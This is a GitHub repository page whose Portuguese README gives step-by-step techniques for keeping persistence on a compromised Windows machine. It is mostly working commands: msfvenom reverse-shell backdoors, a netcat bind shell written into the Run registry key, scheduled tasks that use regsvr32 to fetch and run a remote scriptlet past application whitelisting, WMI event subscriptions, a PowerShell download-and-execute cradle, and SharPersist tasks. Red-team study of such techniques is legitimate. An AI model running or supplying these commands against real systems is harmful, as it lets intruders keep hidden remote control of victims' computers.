https://github.com/Stuuxx/awesome-persistence
Persistence techniques for windows.
https://github.com/Stuuxx/awesome-persistence
List: awesome-persistence
Last synced: 3 months ago
JSON representation
Persistence techniques for windows.
- Host: GitHub
- URL: https://github.com/Stuuxx/awesome-persistence
- Owner: Stuuxx
- Created: 2022-10-25T17:17:55.000Z (over 2 years ago)
- Default Branch: main
- Last Pushed: 2023-06-26T02:50:54.000Z (over 1 year ago)
- Last Synced: 2024-04-11T22:04:13.507Z (11 months ago)
- Homepage:
- Size: 314 KB
- Stars: 18
- Watchers: 1
- Forks: 3
- Open Issues: 9
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
- ultimate-awesome - awesome-persistence - Persistence techniques for windows. (Other Lists / Julia Lists)
README
# Awesome Windows Persistence
**Técnicas e táticas para manutenção de persistência em um alvo windows explorado.**
Eu sou o Stux e estarei constantemente atualizando este repositório com novas técnicas!
**Obs: Todos os processos de persistência deste repositório partem do princípio de que você já possua uma shell ou acesso ao ambiente e que já tenha realizado o processo de escalação de privilégios.**
## Sumário
- [Persistence Service](https://github.com/Stuuxx/awesome-persistence#persistence-service)
- [Persistence Registry](https://github.com/Stuuxx/awesome-persistence#persistence-registry)
- [Netcat](https://github.com/Stuuxx/awesome-persistence#netcat)
- [Schtasks](https://github.com/Stuuxx/awesome-persistence#schtasks)
- [Schtasks-Log Events](https://github.com/Stuuxx/awesome-persistence#schtasks---log-events)
- [WMIC](https://github.com/Stuuxx/awesome-persistence#wmic)
- [Wmi-Persistence](https://github.com/Stuuxx/awesome-persistence#wmi-persistence)
- [SharPersist](https://github.com/Stuuxx/awesome-persistence#sharpersist)
## Persistence Service
Introdução:
Essa técnica tem como objetivo criar um serviço persistente no windows explorado na qual executará diversas vezes o payload de conexão reversa.
Etapas:
- Colocar a sessão em background;
- Utilizar e configurar o módulo exploit/windows/local/persistence_service do metasploit;
Este módulo irá gerar e fazer upload de um executável para o host explorado, em seguida irá torná-lo um serviço persistente. Ele criará um novo serviço que iniciará a carga útil sempre que o serviço estiver em execução.
**É necessário privilégio de administrador ou de sistema!**
```bash
background
use exploit/windows/local/persistence_service
set SESSION 1
exploit
```
- Abrir uma nova aba no terminal;
- Utilizar o multi/handler, configurar-lo e colocar para ouvir;
```bash
msfconsole -q
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4444
ip a s
set LHOST SEUIP
exploit
```
Note que logo que você colocar para ouvir o multi/handler, já receberá uma nova shell, isso se da ao fato de que essa técnica é voltada a um serviço persistente, ou seja, está executando o payload diversas vezes enquanto está vivo.
Para prova de conceito, iremos dar um reboot na máquina explorada e aguardar a shell em nosso multi/handler.
## Persistence Registry
-- Em construção --
## Netcat
Introdução:
Nessa técnica, iremos realizar o upload do netcat para o alvo e iremos modificar um registro para que o alvo execute ele, nos abrindo uma porta para conectar posteriormente quando necessário.
Etapas:
- Vamos realizar o upload do netcat para algum diretório do alvo.
```bash
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
```
- Após realizado o upload, iremos modificar o registro para que o Netcat seja executado.
```bash
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e C:\windows\system32\cmd.exe'
```
- Agora, iremos verificar como ficou nossa modificação.
```bash
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc
```
Para prova de conceito, iremos dar um reboot na máquina explorada para que nosso ataque seja efetivado nos registros do sistema.
- Após o ataque ser bem sucedido, vamos nos conectar na máquina explorada através do netcat.
```bash
nc IP PORTA
```
## Schtasks
Introdução:
Nessa técnica, iremos utilizar como backdoor o módulo do metasploit chamado "Script Web Delivery". Este módulo aciona rapidamente um servidor web que serve uma carga útil. O módulo fornecerá um comando a ser executado na máquina de destino com base no destino selecionado. O comando fornecido baixará e executará uma carga útil usando um interpretador de linguagem de script especificado ou "squablydoo" via regsvr32.exe para ignorar a lista de permissões do aplicativo. Usaremos o link gerado para criar uma tarefa que acionará o link malicioso toda vez que o login do usuário no sistema for realizado.
Etapas:
- No metasploit, iniciaremos o módulo "Script Web Delivery", vamos configurar-lo e copiar o link gerado.
```bash
use multi/script/web_delivery
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set TARGET 3
set LHOST SEUIP
exploit
```
- No meterpreter, vamos carregar a extensão powershell e criar a tarefa de execução do link malicioso gerado no web delivery.
```bash
load powershell
powershell_shell
schtasks /create /tn AttackDefense /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'regsvr32 /s /n /u /i:http://10.10.23.3:8080/kpTJ2uK6kYL.sct scrobj.dll'" /sc onlogon /ru System
```
**Note que, o link acima deve ser substituído pelo o que você gerou.**
Para prova de conceito, iremos dar um reboot na máquina explorada para que nossa tarefa seja executada.
- E então, visualizamos novamente a aba com o web_delivery na qual receberemos nossa shell.
## Schtasks - Log Events
Introdução:
Nesse caso, estamos criando uma tarefa que pode ser acionada em um log de segurança específico do Windows event. Ou seja, ID do event: 4634 (4634: event desconectado de uma conta). Quando um usuário faz logoff, então este event é gerado. Portanto, a tarefa agendada é executada assim que o usuário fizer login novamente.
Etapas:
- Vamos iniciar criando um backdoor via msfvenom.
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=SEUIP LPORT=4444 -f exe > backdoor.exe
```
- No meterpreter, iniciaremos a shell e criaremos a task através do schtasks setando o nosso backdoor.
```bash
shell
schtasks /Create /TN SessionOnLogOff /TR C:\Windows\System32\backdoor.exe /SC ONEVENT /EC Security /MO "*[System[(Level=4 or Level=0) and (EventID=4634)]]"
```
- Iniciaremos o multi/handler para receber a shell.
```bash
msfconsole -q
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4444
ip a s
set LHOST SEUIP
exploit
```
Para prova de conceito, iremos dar um reboot na máquina explorada para que nosso ataque seja efetivado e a task seja executada.
- Após o reboot, receberemos nossa shell.
## WMIC
Introdução:
Utilizaremos o WMIC do Windows para criar uma instância "EventFilter" e uma "EventConsumer" com a classe "CommandLineEventConsumer" para executar nosso backdoor de forma contínua e no final registraremos o evento de forma permanente.
Etapas:
- Iniciaremos criando o nosso backdoor através do msfvenom.
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=SEUIP LPORT=4444 -f exe > backdoor.exe
```
- Logo após, no meterpreter, iremos realizar o upload do backdoor.exe para um diretório temporário.
- E então chegou o momento de criarmos as instâncias através do wmic, no meterpreter, iniciaremos a shell e então iniciaremos o processo.
```bash
shell
```
- Criar a instância EventFilter.
```bash
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="AttackDefense", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
```
- Criar a instância EventConsumer e usar a classe CommandLineEventConsumer.
```bash
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="AttackDefense", ExecutablePath="C:\Users\Administrator\AppData\Local\Temp\backdoor.exe",CommandLineTemplate="C:\Windows\system32\backdoor.exe"
```
- Registrar o evento permanentemente.
```bash
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"AttackDefense\"", Consumer="CommandLineEventConsumer.Name=\"AttackDefense\""
```
- Logo após a configuração do evento de persistência, iremos iniciar o multi/handler.
```bash
msfconsole -q
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4444
ip a s
set LHOST SEUIP
exploit
```
Para prova de conceito, iremos dar um reboot na máquina explorada para receber a shell no multi/handler.
- Após o reboot, podemos visualizar a shell em nosso multi/handler.
## Wmi-Persistence
Introdução:
O script WMI-Persistence serve para criar assinaturas de eventos WMI maliciosas, através do upload desse script powershell para a máquina explorada, iremos realizar o processo de persistência.
Para realizar o download do WMI-Persistence.ps1 [clique aqui.](https://github.com/subesp0x10/Wmi-Persistence)
Etapas:
- Vamos iniciar gerando um backdoor através do msfvenom.
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=SEUIP LPORT=4444 -f exe > backdoor.exe
```
- Vamos realizar o upload do backdoor para um diretório temporário do usuário de Administrador.
- Agora, iremos iniciar um servidor http para realizar o donwload do WMI-Persistence.ps1 na máquina explorada.
- No meterpreter, vamos carregar a extensão do powershell e iniciar.
- Também realizaremos o download do WMI-Persistence e instalaremos o nosso backdoor.
```bash
load powershell
powershell_shell
iex (New-Object Net.WebClient).DownloadString('http://10.10.22.3/WMI-Persistence.ps1')
Install-Persistence -Trigger Startup -Payload "\Users\Administrator\AppData\Local\Temp\backdoor.exe"
```
- Agora, iremos colocar o multi/handler para escutar e receber a shell.
```bash
msfconsole -q
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST SEUIP
set LPORT 4444
exploit
```
Para prova de conceito, iremos dar um reboot na máquina explorada para recebermos nossa shell.
- Logo após o reboot, receberemos nossa shell no multi/handler.
## SharPersist
Introdução:
SharPersist é um kit de ferramentas de persistência do Windows escrito em C#. Suporta toneladas de técnicas diferentes para manutenção de persistência.
Para realizar o download do SharPersist [clique aqui.](https://github.com/mandiant/SharPersist/releases/tag/v1.0.1)
Etapas:
- Vamos iniciar criando um backdoor através do msfvenom.
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=SEUIP LPORT=4444 -f exe > backdoor.exe
```
- No meterpreter, vamos realizar o upload do backdoor e do SharPersist.exe para um diretório temporário.
- Agora iremos carregar a extensão do powershell e iremos criar uma tarefa agendada através do SharPersist.exe.
```bash
load powershell
powershell_shell
./SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c \Users\Administrator\AppData\Local\Temp\backdoor.exe" -n "AttackDefense" -m add -o logon
```
- Em outra aba, iniciaremos o multi/handler para receber a shell.
```bash
msfconsole -q
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST SEUIP
set LPORT 4444
exploit
```
Para prova de conceito, iremos dar um reboot na máquina explorada para recebermos nossa shell no multi/handler.
- E então, recebemos nossa shell no multi/handler.
## Roadmap
- Persistence Registry
- RDP
- ...
## Ficou com alguma dúvida?
Sinta-se a vontade para entrar em contato comigo através das minhas redes sociais!
- Bugcrowd : [@Stux](https://bugcrowd.com/StuxRs)
- Medium : [@Stux](https://medium.com/@stux)
- Twitter : [@StuxRs](https://twitter.com/StuxRs)